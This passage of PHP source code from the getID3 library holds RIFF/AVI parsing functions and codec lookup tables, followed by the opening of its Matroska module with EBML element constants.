0x000200); $thisfile_wavpack_flags['new_high_quality'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000400); $thisfile_wavpack_flags['cancel_extreme'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000800); $thisfile_wavpack_flags['cross_decorrelation'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x001000); $thisfile_wavpack_flags['new_decorrelation'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x002000); $thisfile_wavpack_flags['joint_stereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x004000); $thisfile_wavpack_flags['extra_decorrelation'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x008000); $thisfile_wavpack_flags['override_noiseshape'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x010000); $thisfile_wavpack_flags['override_jointstereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x020000); $thisfile_wavpack_flags['copy_source_filetime'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x040000); $thisfile_wavpack_flags['create_exe'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x080000); } return true; } /** * @param string $BITMAPINFOHEADER * @param bool $littleEndian * * @return array */ public static function ParseBITMAPINFOHEADER($BITMAPINFOHEADER, $littleEndian=true) { $parsed = array(); $parsed['biSize'] = substr($BITMAPINFOHEADER, 0, 4); // number of bytes required by the BITMAPINFOHEADER structure $parsed['biWidth'] = substr($BITMAPINFOHEADER, 4, 4); // width of the bitmap in pixels $parsed['biHeight'] = substr($BITMAPINFOHEADER, 8, 4); // height of the bitmap in pixels. If biHeight is positive, the bitmap is a 'bottom-up' DIB and its origin is the lower left corner. If biHeight is negative, the bitmap is a 'top-down' DIB and its origin is the upper left corner $parsed['biPlanes'] = substr($BITMAPINFOHEADER, 12, 2); // number of color planes on the target device. In most cases this value must be set to 1 $parsed['biBitCount'] = substr($BITMAPINFOHEADER, 14, 2); // Specifies the number of bits per pixels $parsed['biSizeImage'] = substr($BITMAPINFOHEADER, 20, 4); // size of the bitmap data section of the image (the actual pixel data, excluding BITMAPINFOHEADER and RGBQUAD structures) $parsed['biXPelsPerMeter'] = substr($BITMAPINFOHEADER, 24, 4); // horizontal resolution, in pixels per metre, of the target device $parsed['biYPelsPerMeter'] = substr($BITMAPINFOHEADER, 28, 4); // vertical resolution, in pixels per metre, of the target device $parsed['biClrUsed'] = substr($BITMAPINFOHEADER, 32, 4); // actual number of color indices in the color table used by the bitmap. If this value is zero, the bitmap uses the maximum number of colors corresponding to the value of the biBitCount member for the compression mode specified by biCompression $parsed['biClrImportant'] = substr($BITMAPINFOHEADER, 36, 4); // number of color indices that are considered important for displaying the bitmap. If this value is zero, all colors are important $parsed = array_map('getid3_lib::'.($littleEndian ? 'Little' : 'Big').'Endian2Int', $parsed); $parsed['fourcc'] = substr($BITMAPINFOHEADER, 16, 4); // compression identifier return $parsed; } /** * @param string $DIVXTAG * @param bool $raw * * @return array */ public static function ParseDIVXTAG($DIVXTAG, $raw=false) { // structure from "IDivX" source, Form1.frm, by "Greg Frazier of Daemonic Software Group", email: gfrazier@icestorm.net, web: http://dsg.cjb.net/ // source available at http://files.divx-digest.com/download/c663efe7ef8ad2e90bf4af4d3ea6188a/on0SWN2r/edit/IDivX.zip // 'Byte Layout: '1111111111111111 // '32 for Movie - 1 '1111111111111111 // '28 for Author - 6 '6666666666666666 // '4 for year - 2 '6666666666662222 // '3 for genre - 3 '7777777777777777 // '48 for Comments - 7 '7777777777777777 // '1 for Rating - 4 '7777777777777777 // '5 for Future Additions - 0 '333400000DIVXTAG // '128 bytes total static $DIVXTAGgenre = array( 0 => 'Action', 1 => 'Action/Adventure', 2 => 'Adventure', 3 => 'Adult', 4 => 'Anime', 5 => 'Cartoon', 6 => 'Claymation', 7 => 'Comedy', 8 => 'Commercial', 9 => 'Documentary', 10 => 'Drama', 11 => 'Home Video', 12 => 'Horror', 13 => 'Infomercial', 14 => 'Interactive', 15 => 'Mystery', 16 => 'Music Video', 17 => 'Other', 18 => 'Religion', 19 => 'Sci Fi', 20 => 'Thriller', 21 => 'Western', ), $DIVXTAGrating = array( 0 => 'Unrated', 1 => 'G', 2 => 'PG', 3 => 'PG-13', 4 => 'R', 5 => 'NC-17', ); $parsed = array(); $parsed['title'] = trim(substr($DIVXTAG, 0, 32)); $parsed['artist'] = trim(substr($DIVXTAG, 32, 28)); $parsed['year'] = intval(trim(substr($DIVXTAG, 60, 4))); $parsed['comment'] = trim(substr($DIVXTAG, 64, 48)); $parsed['genre_id'] = intval(trim(substr($DIVXTAG, 112, 3))); $parsed['rating_id'] = ord(substr($DIVXTAG, 115, 1)); //$parsed['padding'] = substr($DIVXTAG, 116, 5); // 5-byte null //$parsed['magic'] = substr($DIVXTAG, 121, 7); // "DIVXTAG" $parsed['genre'] = (isset($DIVXTAGgenre[$parsed['genre_id']]) ? $DIVXTAGgenre[$parsed['genre_id']] : $parsed['genre_id']); $parsed['rating'] = (isset($DIVXTAGrating[$parsed['rating_id']]) ? $DIVXTAGrating[$parsed['rating_id']] : $parsed['rating_id']); if (!$raw) { unset($parsed['genre_id'], $parsed['rating_id']); foreach ($parsed as $key => $value) { if (empty($value)) { unset($parsed[$key]); } } } foreach ($parsed as $tag => $value) { $parsed[$tag] = array($value); } return $parsed; } /** * @param string $tagshortname * * @return string */ public static function waveSNDMtagLookup($tagshortname) { $begin = __LINE__; /** This is not a comment! ©kwd keywords ©BPM bpm ©trt tracktitle ©des description ©gen category ©fin featuredinstrument ©LID longid ©bex bwdescription ©pub publisher ©cdt cdtitle ©alb library ©com composer */ return getid3_lib::EmbeddedLookup($tagshortname, $begin, __LINE__, __FILE__, 'riff-sndm'); } /** * @param int $wFormatTag * * @return string */ public static function wFormatTagLookup($wFormatTag) { $begin = __LINE__; /** This is not a comment! 0x0000 Microsoft Unknown Wave Format 0x0001 Pulse Code Modulation (PCM) 0x0002 Microsoft ADPCM 0x0003 IEEE Float 0x0004 Compaq Computer VSELP 0x0005 IBM CVSD 0x0006 Microsoft A-Law 0x0007 Microsoft mu-Law 0x0008 Microsoft DTS 0x0010 OKI ADPCM 0x0011 Intel DVI/IMA ADPCM 0x0012 Videologic MediaSpace ADPCM 0x0013 Sierra Semiconductor ADPCM 0x0014 Antex Electronics G.723 ADPCM 0x0015 DSP Solutions DigiSTD 0x0016 DSP Solutions DigiFIX 0x0017 Dialogic OKI ADPCM 0x0018 MediaVision ADPCM 0x0019 Hewlett-Packard CU 0x0020 Yamaha ADPCM 0x0021 Speech Compression Sonarc 0x0022 DSP Group TrueSpeech 0x0023 Echo Speech EchoSC1 0x0024 Audiofile AF36 0x0025 Audio Processing Technology APTX 0x0026 AudioFile AF10 0x0027 Prosody 1612 0x0028 LRC 0x0030 Dolby AC2 0x0031 Microsoft GSM 6.10 0x0032 MSNAudio 0x0033 Antex Electronics ADPCME 0x0034 Control Resources VQLPC 0x0035 DSP Solutions DigiREAL 0x0036 DSP Solutions DigiADPCM 0x0037 Control Resources CR10 0x0038 Natural MicroSystems VBXADPCM 0x0039 Crystal Semiconductor IMA ADPCM 0x003A EchoSC3 0x003B Rockwell ADPCM 0x003C Rockwell Digit LK 0x003D Xebec 0x0040 Antex Electronics G.721 ADPCM 0x0041 G.728 CELP 0x0042 MSG723 0x0050 MPEG Layer-2 or Layer-1 0x0052 RT24 0x0053 PAC 0x0055 MPEG Layer-3 0x0059 Lucent G.723 0x0060 Cirrus 0x0061 ESPCM 0x0062 Voxware 0x0063 Canopus Atrac 0x0064 G.726 ADPCM 0x0065 G.722 ADPCM 0x0066 DSAT 0x0067 DSAT Display 0x0069 Voxware Byte Aligned 0x0070 Voxware AC8 0x0071 Voxware AC10 0x0072 Voxware AC16 0x0073 Voxware AC20 0x0074 Voxware MetaVoice 0x0075 Voxware MetaSound 0x0076 Voxware RT29HW 0x0077 Voxware VR12 0x0078 Voxware VR18 0x0079 Voxware TQ40 0x0080 Softsound 0x0081 Voxware TQ60 0x0082 MSRT24 0x0083 G.729A 0x0084 MVI MV12 0x0085 DF G.726 0x0086 DF GSM610 0x0088 ISIAudio 0x0089 Onlive 0x0091 SBC24 0x0092 Dolby AC3 SPDIF 0x0093 MediaSonic G.723 0x0094 Aculab PLC Prosody 8kbps 0x0097 ZyXEL ADPCM 0x0098 Philips LPCBB 0x0099 Packed 0x00FF AAC 0x0100 Rhetorex ADPCM 0x0101 IBM mu-law 0x0102 IBM A-law 0x0103 IBM AVC Adaptive Differential Pulse Code Modulation (ADPCM) 0x0111 Vivo G.723 0x0112 Vivo Siren 0x0123 Digital G.723 0x0125 Sanyo LD ADPCM 0x0130 Sipro Lab Telecom ACELP NET 0x0131 Sipro Lab Telecom ACELP 4800 0x0132 Sipro Lab Telecom ACELP 8V3 0x0133 Sipro Lab Telecom G.729 0x0134 Sipro Lab Telecom G.729A 0x0135 Sipro Lab Telecom Kelvin 0x0140 Windows Media Video V8 0x0150 Qualcomm PureVoice 0x0151 Qualcomm HalfRate 0x0155 Ring Zero Systems TUB GSM 0x0160 Microsoft Audio 1 0x0161 Windows Media Audio V7 / V8 / V9 0x0162 Windows Media Audio Professional V9 0x0163 Windows Media Audio Lossless V9 0x0200 Creative Labs ADPCM 0x0202 Creative Labs Fastspeech8 0x0203 Creative Labs Fastspeech10 0x0210 UHER Informatic GmbH ADPCM 0x0220 Quarterdeck 0x0230 I-link Worldwide VC 0x0240 Aureal RAW Sport 0x0250 Interactive Products HSX 0x0251 Interactive Products RPELP 0x0260 Consistent Software CS2 0x0270 Sony SCX 0x0300 Fujitsu FM Towns Snd 0x0400 BTV Digital 0x0401 Intel Music Coder 0x0450 QDesign Music 0x0680 VME VMPCM 0x0681 AT&T Labs TPC 0x08AE ClearJump LiteWave 0x1000 Olivetti GSM 0x1001 Olivetti ADPCM 0x1002 Olivetti CELP 0x1003 Olivetti SBC 0x1004 Olivetti OPR 0x1100 Lernout & Hauspie Codec (0x1100) 0x1101 Lernout & Hauspie CELP Codec (0x1101) 0x1102 Lernout & Hauspie SBC Codec (0x1102) 0x1103 Lernout & Hauspie SBC Codec (0x1103) 0x1104 Lernout & Hauspie SBC Codec (0x1104) 0x1400 Norris 0x1401 AT&T ISIAudio 0x1500 Soundspace Music Compression 0x181C VoxWare RT24 Speech 0x1FC4 NCT Soft ALF2CD (www.nctsoft.com) 0x2000 Dolby AC3 0x2001 Dolby DTS 0x2002 WAVE_FORMAT_14_4 0x2003 WAVE_FORMAT_28_8 0x2004 WAVE_FORMAT_COOK 0x2005 WAVE_FORMAT_DNET 0x674F Ogg Vorbis 1 0x6750 Ogg Vorbis 2 0x6751 Ogg Vorbis 3 0x676F Ogg Vorbis 1+ 0x6770 Ogg Vorbis 2+ 0x6771 Ogg Vorbis 3+ 0x7A21 GSM-AMR (CBR, no SID) 0x7A22 GSM-AMR (VBR, including SID) 0xFFFE WAVE_FORMAT_EXTENSIBLE 0xFFFF WAVE_FORMAT_DEVELOPMENT */ return getid3_lib::EmbeddedLookup('0x'.str_pad(strtoupper(dechex($wFormatTag)), 4, '0', STR_PAD_LEFT), $begin, __LINE__, __FILE__, 'riff-wFormatTag'); } /** * @param string $fourcc * * @return string */ public static function fourccLookup($fourcc) { $begin = __LINE__; /** This is not a comment! swot http://developer.apple.com/qa/snd/snd07.html ____ No Codec (____) _BIT BI_BITFIELDS (Raw RGB) _JPG JPEG compressed _PNG PNG compressed W3C/ISO/IEC (RFC-2083) _RAW Full Frames (Uncompressed) _RGB Raw RGB Bitmap _RL4 RLE 4bpp RGB _RL8 RLE 8bpp RGB 3IV1 3ivx MPEG-4 v1 3IV2 3ivx MPEG-4 v2 3IVX 3ivx MPEG-4 AASC Autodesk Animator ABYR Kensington ?ABYR? AEMI Array Microsystems VideoONE MPEG1-I Capture AFLC Autodesk Animator FLC AFLI Autodesk Animator FLI AMPG Array Microsystems VideoONE MPEG ANIM Intel RDX (ANIM) AP41 AngelPotion Definitive ASV1 Asus Video v1 ASV2 Asus Video v2 ASVX Asus Video 2.0 (audio) AUR2 AuraVision Aura 2 Codec - YUV 4:2:2 AURA AuraVision Aura 1 Codec - YUV 4:1:1 AVDJ Independent JPEG Group\'s codec (AVDJ) AVRN Independent JPEG Group\'s codec (AVRN) AYUV 4:4:4 YUV (AYUV) AZPR Quicktime Apple Video (AZPR) BGR Raw RGB32 BLZ0 Blizzard DivX MPEG-4 BTVC Conexant Composite Video BINK RAD Game Tools Bink Video BT20 Conexant Prosumer Video BTCV Conexant Composite Video Codec BW10 Data Translation Broadway MPEG Capture CC12 Intel YUV12 CDVC Canopus DV CFCC Digital Processing Systems DPS Perception CGDI Microsoft Office 97 Camcorder Video CHAM Winnov Caviara Champagne CJPG Creative WebCam JPEG CLJR Cirrus Logic YUV 4:1:1 CMYK Common Data Format in Printing (Colorgraph) CPLA Weitek 4:2:0 YUV Planar CRAM Microsoft Video 1 (CRAM) cvid Radius Cinepak CVID Radius Cinepak CWLT Microsoft Color WLT DIB CYUV Creative Labs YUV CYUY ATI YUV D261 H.261 D263 H.263 DIB Device Independent Bitmap DIV1 FFmpeg OpenDivX DIV2 Microsoft MPEG-4 v1/v2 DIV3 DivX ;-) MPEG-4 v3.x Low-Motion DIV4 DivX ;-) MPEG-4 v3.x Fast-Motion DIV5 DivX MPEG-4 v5.x DIV6 DivX ;-) (MS MPEG-4 v3.x) DIVX DivX MPEG-4 v4 (OpenDivX / Project Mayo) divx DivX MPEG-4 DMB1 Matrox Rainbow Runner hardware MJPEG DMB2 Paradigm MJPEG DSVD ?DSVD? DUCK Duck TrueMotion 1.0 DPS0 DPS/Leitch Reality Motion JPEG DPSC DPS/Leitch PAR Motion JPEG DV25 Matrox DVCPRO codec DV50 Matrox DVCPRO50 codec DVC IEC 61834 and SMPTE 314M (DVC/DV Video) DVCP IEC 61834 and SMPTE 314M (DVC/DV Video) DVHD IEC Standard DV 1125 lines @ 30fps / 1250 lines @ 25fps DVMA Darim Vision DVMPEG (dummy for MPEG compressor) (www.darvision.com) DVSL IEC Standard DV compressed in SD (SDL) DVAN ?DVAN? DVE2 InSoft DVE-2 Videoconferencing dvsd IEC 61834 and SMPTE 314M DVC/DV Video DVSD IEC 61834 and SMPTE 314M DVC/DV Video DVX1 Lucent DVX1000SP Video Decoder DVX2 Lucent DVX2000S Video Decoder DVX3 Lucent DVX3000S Video Decoder DX50 DivX v5 DXT1 Microsoft DirectX Compressed Texture (DXT1) DXT2 Microsoft DirectX Compressed Texture (DXT2) DXT3 Microsoft DirectX Compressed Texture (DXT3) DXT4 Microsoft DirectX Compressed Texture (DXT4) DXT5 Microsoft DirectX Compressed Texture (DXT5) DXTC Microsoft DirectX Compressed Texture (DXTC) DXTn Microsoft DirectX Compressed Texture (DXTn) EM2V Etymonix MPEG-2 I-frame (www.etymonix.com) EKQ0 Elsa ?EKQ0? ELK0 Elsa ?ELK0? ESCP Eidos Escape ETV1 eTreppid Video ETV1 ETV2 eTreppid Video ETV2 ETVC eTreppid Video ETVC FLIC Autodesk FLI/FLC Animation FLV1 Sorenson Spark FLV4 On2 TrueMotion VP6 FRWT Darim Vision Forward Motion JPEG (www.darvision.com) FRWU Darim Vision Forward Uncompressed (www.darvision.com) FLJP D-Vision Field Encoded Motion JPEG FPS1 FRAPS v1 FRWA SoftLab-Nsk Forward Motion JPEG w/ alpha channel FRWD SoftLab-Nsk Forward Motion JPEG FVF1 Iterated Systems Fractal Video Frame GLZW Motion LZW (gabest@freemail.hu) GPEG Motion JPEG (gabest@freemail.hu) GWLT Microsoft Greyscale WLT DIB H260 Intel ITU H.260 Videoconferencing H261 Intel ITU H.261 Videoconferencing H262 Intel ITU H.262 Videoconferencing H263 Intel ITU H.263 Videoconferencing H264 Intel ITU H.264 Videoconferencing H265 Intel ITU H.265 Videoconferencing H266 Intel ITU H.266 Videoconferencing H267 Intel ITU H.267 Videoconferencing H268 Intel ITU H.268 Videoconferencing H269 Intel ITU H.269 Videoconferencing HFYU Huffman Lossless Codec HMCR Rendition Motion Compensation Format (HMCR) HMRR Rendition Motion Compensation Format (HMRR) I263 FFmpeg I263 decoder IF09 Indeo YVU9 ("YVU9 with additional delta-frame info after the U plane") IUYV Interlaced version of UYVY (www.leadtools.com) IY41 Interlaced version of Y41P (www.leadtools.com) IYU1 12 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec IEEE standard IYU2 24 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec IEEE standard IYUV Planar YUV format (8-bpp Y plane, followed by 8-bpp 2×2 U and V planes) i263 Intel ITU H.263 Videoconferencing (i263) I420 Intel Indeo 4 IAN Intel Indeo 4 (RDX) ICLB InSoft CellB Videoconferencing IGOR Power DVD IJPG Intergraph JPEG ILVC Intel Layered Video ILVR ITU-T H.263+ IPDV I-O Data Device Giga AVI DV Codec IR21 Intel Indeo 2.1 IRAW Intel YUV Uncompressed IV30 Intel Indeo 3.0 IV31 Intel Indeo 3.1 IV32 Ligos Indeo 3.2 IV33 Ligos Indeo 3.3 IV34 Ligos Indeo 3.4 IV35 Ligos Indeo 3.5 IV36 Ligos Indeo 3.6 IV37 Ligos Indeo 3.7 IV38 Ligos Indeo 3.8 IV39 Ligos Indeo 3.9 IV40 Ligos Indeo Interactive 4.0 IV41 Ligos Indeo Interactive 4.1 IV42 Ligos Indeo Interactive 4.2 IV43 Ligos Indeo Interactive 4.3 IV44 Ligos Indeo Interactive 4.4 IV45 Ligos Indeo Interactive 4.5 IV46 Ligos Indeo Interactive 4.6 IV47 Ligos Indeo Interactive 4.7 IV48 Ligos Indeo Interactive 4.8 IV49 Ligos Indeo Interactive 4.9 IV50 Ligos Indeo Interactive 5.0 JBYR Kensington ?JBYR? JPEG Still Image JPEG DIB JPGL Pegasus Lossless Motion JPEG KMVC Team17 Software Karl Morton\'s Video Codec LSVM Vianet Lighting Strike Vmail (Streaming) (www.vianet.com) LEAD LEAD Video Codec Ljpg LEAD MJPEG Codec MDVD Alex MicroDVD Video (hacked MS MPEG-4) (www.tiasoft.de) MJPA Morgan Motion JPEG (MJPA) (www.morgan-multimedia.com) MJPB Morgan Motion JPEG (MJPB) (www.morgan-multimedia.com) MMES Matrox MPEG-2 I-frame MP2v Microsoft S-Mpeg 4 version 1 (MP2v) MP42 Microsoft S-Mpeg 4 version 2 (MP42) MP43 Microsoft S-Mpeg 4 version 3 (MP43) MP4S Microsoft S-Mpeg 4 version 3 (MP4S) MP4V FFmpeg MPEG-4 MPG1 FFmpeg MPEG 1/2 MPG2 FFmpeg MPEG 1/2 MPG3 FFmpeg DivX ;-) (MS MPEG-4 v3) MPG4 Microsoft MPEG-4 MPGI Sigma Designs MPEG MPNG PNG images decoder MSS1 Microsoft Windows Screen Video MSZH LCL (Lossless Codec Library) (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm) M261 Microsoft H.261 M263 Microsoft H.263 M4S2 Microsoft Fully Compliant MPEG-4 v2 simple profile (M4S2) m4s2 Microsoft Fully Compliant MPEG-4 v2 simple profile (m4s2) MC12 ATI Motion Compensation Format (MC12) MCAM ATI Motion Compensation Format (MCAM) MJ2C Morgan Multimedia Motion JPEG2000 mJPG IBM Motion JPEG w/ Huffman Tables MJPG Microsoft Motion JPEG DIB MP42 Microsoft MPEG-4 (low-motion) MP43 Microsoft MPEG-4 (fast-motion) MP4S Microsoft MPEG-4 (MP4S) mp4s Microsoft MPEG-4 (mp4s) MPEG Chromatic Research MPEG-1 Video I-Frame MPG4 Microsoft MPEG-4 Video High Speed Compressor MPGI Sigma Designs MPEG MRCA FAST Multimedia Martin Regen Codec MRLE Microsoft Run Length Encoding MSVC Microsoft Video 1 MTX1 Matrox ?MTX1? MTX2 Matrox ?MTX2? MTX3 Matrox ?MTX3? MTX4 Matrox ?MTX4? MTX5 Matrox ?MTX5? MTX6 Matrox ?MTX6? MTX7 Matrox ?MTX7? MTX8 Matrox ?MTX8? MTX9 Matrox ?MTX9? MV12 Motion Pixels Codec (old) MWV1 Aware Motion Wavelets nAVI SMR Codec (hack of Microsoft MPEG-4) (IRC #shadowrealm) NT00 NewTek LightWave HDTV YUV w/ Alpha (www.newtek.com) NUV1 NuppelVideo NTN1 Nogatech Video Compression 1 NVS0 nVidia GeForce Texture (NVS0) NVS1 nVidia GeForce Texture (NVS1) NVS2 nVidia GeForce Texture (NVS2) NVS3 nVidia GeForce Texture (NVS3) NVS4 nVidia GeForce Texture (NVS4) NVS5 nVidia GeForce Texture (NVS5) NVT0 nVidia GeForce Texture (NVT0) NVT1 nVidia GeForce Texture (NVT1) NVT2 nVidia GeForce Texture (NVT2) NVT3 nVidia GeForce Texture (NVT3) NVT4 nVidia GeForce Texture (NVT4) NVT5 nVidia GeForce Texture (NVT5) PIXL MiroXL, Pinnacle PCTV PDVC I-O Data Device Digital Video Capture DV codec PGVV Radius Video Vision PHMO IBM Photomotion PIM1 MPEG Realtime (Pinnacle Cards) PIM2 Pegasus Imaging ?PIM2? PIMJ Pegasus Imaging Lossless JPEG PVEZ Horizons Technology PowerEZ PVMM PacketVideo Corporation MPEG-4 PVW2 Pegasus Imaging Wavelet Compression Q1.0 Q-Team\'s QPEG 1.0 (www.q-team.de) Q1.1 Q-Team\'s QPEG 1.1 (www.q-team.de) QPEG Q-Team QPEG 1.0 qpeq Q-Team QPEG 1.1 RGB Raw BGR32 RGBA Raw RGB w/ Alpha RMP4 REALmagic MPEG-4 (unauthorized XVID copy) (www.sigmadesigns.com) ROQV Id RoQ File Video Decoder RPZA Quicktime Apple Video (RPZA) RUD0 Rududu video codec (http://rududu.ifrance.com/rududu/) RV10 RealVideo 1.0 (aka RealVideo 5.0) RV13 RealVideo 1.0 (RV13) RV20 RealVideo G2 RV30 RealVideo 8 RV40 RealVideo 9 RGBT Raw RGB w/ Transparency RLE Microsoft Run Length Encoder RLE4 Run Length Encoded (4bpp, 16-color) RLE8 Run Length Encoded (8bpp, 256-color) RT21 Intel Indeo RealTime Video 2.1 rv20 RealVideo G2 rv30 RealVideo 8 RVX Intel RDX (RVX ) SMC Apple Graphics (SMC ) SP54 Logitech Sunplus Sp54 Codec for Mustek GSmart Mini 2 SPIG Radius Spigot SVQ3 Sorenson Video 3 (Apple Quicktime 5) s422 Tekram VideoCap C210 YUV 4:2:2 SDCC Sun Communication Digital Camera Codec SFMC CrystalNet Surface Fitting Method SMSC Radius SMSC SMSD Radius SMSD smsv WorldConnect Wavelet Video SPIG Radius Spigot SPLC Splash Studios ACM Audio Codec (www.splashstudios.net) SQZ2 Microsoft VXTreme Video Codec V2 STVA ST Microelectronics CMOS Imager Data (Bayer) STVB ST Microelectronics CMOS Imager Data (Nudged Bayer) STVC ST Microelectronics CMOS Imager Data (Bunched) STVX ST Microelectronics CMOS Imager Data (Extended CODEC Data Format) STVY ST Microelectronics CMOS Imager Data (Extended CODEC Data Format with Correction Data) SV10 Sorenson Video R1 SVQ1 Sorenson Video T420 Toshiba YUV 4:2:0 TM2A Duck TrueMotion Archiver 2.0 (www.duck.com) TVJP Pinnacle/Truevision Targa 2000 board (TVJP) TVMJ Pinnacle/Truevision Targa 2000 board (TVMJ) TY0N Tecomac Low-Bit Rate Codec (www.tecomac.com) TY2C Trident Decompression Driver TLMS TeraLogic Motion Intraframe Codec (TLMS) TLST TeraLogic Motion Intraframe Codec (TLST) TM20 Duck TrueMotion 2.0 TM2X Duck TrueMotion 2X TMIC TeraLogic Motion Intraframe Codec (TMIC) TMOT Horizons Technology TrueMotion S tmot Horizons TrueMotion Video Compression TR20 Duck TrueMotion RealTime 2.0 TSCC TechSmith Screen Capture Codec TV10 Tecomac Low-Bit Rate Codec TY2N Trident ?TY2N? U263 UB Video H.263/H.263+/H.263++ Decoder UMP4 UB Video MPEG 4 (www.ubvideo.com) UYNV Nvidia UYVY packed 4:2:2 UYVP Evans & Sutherland YCbCr 4:2:2 extended precision UCOD eMajix.com ClearVideo ULTI IBM Ultimotion UYVY UYVY packed 4:2:2 V261 Lucent VX2000S VIFP VFAPI Reader Codec (www.yks.ne.jp/~hori/) VIV1 FFmpeg H263+ decoder VIV2 Vivo H.263 VQC2 Vector-quantised codec 2 (research) http://eprints.ecs.soton.ac.uk/archive/00001310/01/VTC97-js.pdf) VTLP Alaris VideoGramPiX VYU9 ATI YUV (VYU9) VYUY ATI YUV (VYUY) V261 Lucent VX2000S V422 Vitec Multimedia 24-bit YUV 4:2:2 Format V655 Vitec Multimedia 16-bit YUV 4:2:2 Format VCR1 ATI Video Codec 1 VCR2 ATI Video Codec 2 VCR3 ATI VCR 3.0 VCR4 ATI VCR 4.0 VCR5 ATI VCR 5.0 VCR6 ATI VCR 6.0 VCR7 ATI VCR 7.0 VCR8 ATI VCR 8.0 VCR9 ATI VCR 9.0 VDCT Vitec Multimedia Video Maker Pro DIB VDOM VDOnet VDOWave VDOW VDOnet VDOLive (H.263) VDTZ Darim Vison VideoTizer YUV VGPX Alaris VideoGramPiX VIDS Vitec Multimedia YUV 4:2:2 CCIR 601 for V422 VIVO Vivo H.263 v2.00 vivo Vivo H.263 VIXL Miro/Pinnacle Video XL VLV1 VideoLogic/PURE Digital Videologic Capture VP30 On2 VP3.0 VP31 On2 VP3.1 VP6F On2 TrueMotion VP6 VX1K Lucent VX1000S Video Codec VX2K Lucent VX2000S Video Codec VXSP Lucent VX1000SP Video Codec WBVC Winbond W9960 WHAM Microsoft Video 1 (WHAM) WINX Winnov Software Compression WJPG AverMedia Winbond JPEG WMV1 Windows Media Video V7 WMV2 Windows Media Video V8 WMV3 Windows Media Video V9 WNV1 Winnov Hardware Compression XYZP Extended PAL format XYZ palette (www.riff.org) x263 Xirlink H.263 XLV0 NetXL Video Decoder XMPG Xing MPEG (I-Frame only) XVID XviD MPEG-4 (www.xvid.org) XXAN ?XXAN? YU92 Intel YUV (YU92) YUNV Nvidia Uncompressed YUV 4:2:2 YUVP Extended PAL format YUV palette (www.riff.org) Y211 YUV 2:1:1 Packed Y411 YUV 4:1:1 Packed Y41B Weitek YUV 4:1:1 Planar Y41P Brooktree PC1 YUV 4:1:1 Packed Y41T Brooktree PC1 YUV 4:1:1 with transparency Y42B Weitek YUV 4:2:2 Planar Y42T Brooktree UYUV 4:2:2 with transparency Y422 ADS Technologies Copy of UYVY used in Pyro WebCam firewire camera Y800 Simple, single Y plane for monochrome images Y8 Grayscale video YC12 Intel YUV 12 codec YUV8 Winnov Caviar YUV8 YUV9 Intel YUV9 YUY2 Uncompressed YUV 4:2:2 YUYV Canopus YUV YV12 YVU12 Planar YVU9 Intel YVU9 Planar (8-bpp Y plane, followed by 8-bpp 4x4 U and V planes) YVYU YVYU 4:2:2 Packed ZLIB Lossless Codec Library zlib compression (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm) ZPEG Metheus Video Zipper */ return getid3_lib::EmbeddedLookup($fourcc, $begin, __LINE__, __FILE__, 'riff-fourcc'); } /** * @param string $byteword * @param bool $signed * * @return int|float|false */ private function EitherEndian2Int($byteword, $signed=false) { if ($this->container == 'riff') { return getid3_lib::LittleEndian2Int($byteword, $signed); } return getid3_lib::BigEndian2Int($byteword, false, $signed); } } PKm"[/֋module.audio-video.matroska.phpnu[ // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio-video.matriska.php // // module for analyzing Matroska containers // // dependencies: NONE // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } define('EBML_ID_CHAPTERS', 0x0043A770); // [10][43][A7][70] -- A system to define basic menus and partition data. For more detailed information, look at the Chapters Explanation. define('EBML_ID_SEEKHEAD', 0x014D9B74); // [11][4D][9B][74] -- Contains the position of other level 1 elements. define('EBML_ID_TAGS', 0x0254C367); // [12][54][C3][67] -- Element containing elements specific to Tracks/Chapters. A list of valid tags can be found . define('EBML_ID_INFO', 0x0549A966); // [15][49][A9][66] -- Contains miscellaneous general information and statistics on the file. define('EBML_ID_TRACKS', 0x0654AE6B); // [16][54][AE][6B] -- A top-level block of information with many tracks described. define('EBML_ID_SEGMENT', 0x08538067); // [18][53][80][67] -- This element contains all other top-level (level 1) elements. Typically a Matroska file is composed of 1 segment. define('EBML_ID_ATTACHMENTS', 0x0941A469); // [19][41][A4][69] -- Contain attached files. define('EBML_ID_EBML', 0x0A45DFA3); // [1A][45][DF][A3] -- Set the EBML characteristics of the data to follow. Each EBML document has to start with this. define('EBML_ID_CUES', 0x0C53BB6B); // [1C][53][BB][6B] -- A top-level element to speed seeking access. All entries are local to the segment. define('EBML_ID_CLUSTER', 0x0F43B675); // [1F][43][B6][75] -- The lower level element containing the (monolithic) Block structure. define('EBML_ID_LANGUAGE', 0x02B59C); // [22][B5][9C] -- Specifies the language of the track in the Matroska languages form. define('EBML_ID_TRACKTIMECODESCALE', 0x03314F); // [23][31][4F] -- The scale to apply on this track to work at normal speed in relation with other tracks (mostly used to adjust video speed when the audio length differs). define('EBML_ID_DEFAULTDURATION', 0x03E383); // [23][E3][83] -- Number of nanoseconds (i.e. not scaled) per frame. define('EBML_ID_CODECNAME', 0x058688); // [25][86][88] -- A human-readable string specifying the codec. define('EBML_ID_CODECDOWNLOADURL', 0x06B240); // [26][B2][40] -- A URL to download about the codec used. define('EBML_ID_TIMECODESCALE', 0x0AD7B1); // [2A][D7][B1] -- Timecode scale in nanoseconds (1.000.000 means all timecodes in the segment are expressed in milliseconds). define('EBML_ID_COLOURSPACE', 0x0EB524); // [2E][B5][24] -- Same value as in AVI (32 bits). define('EBML_ID_GAMMAVALUE', 0x0FB523); // [2F][B5][23] -- Gamma Value. define('EBML_ID_CODECSETTINGS', 0x1A9697); // [3A][96][97] -- A string describing the encoding setting used. 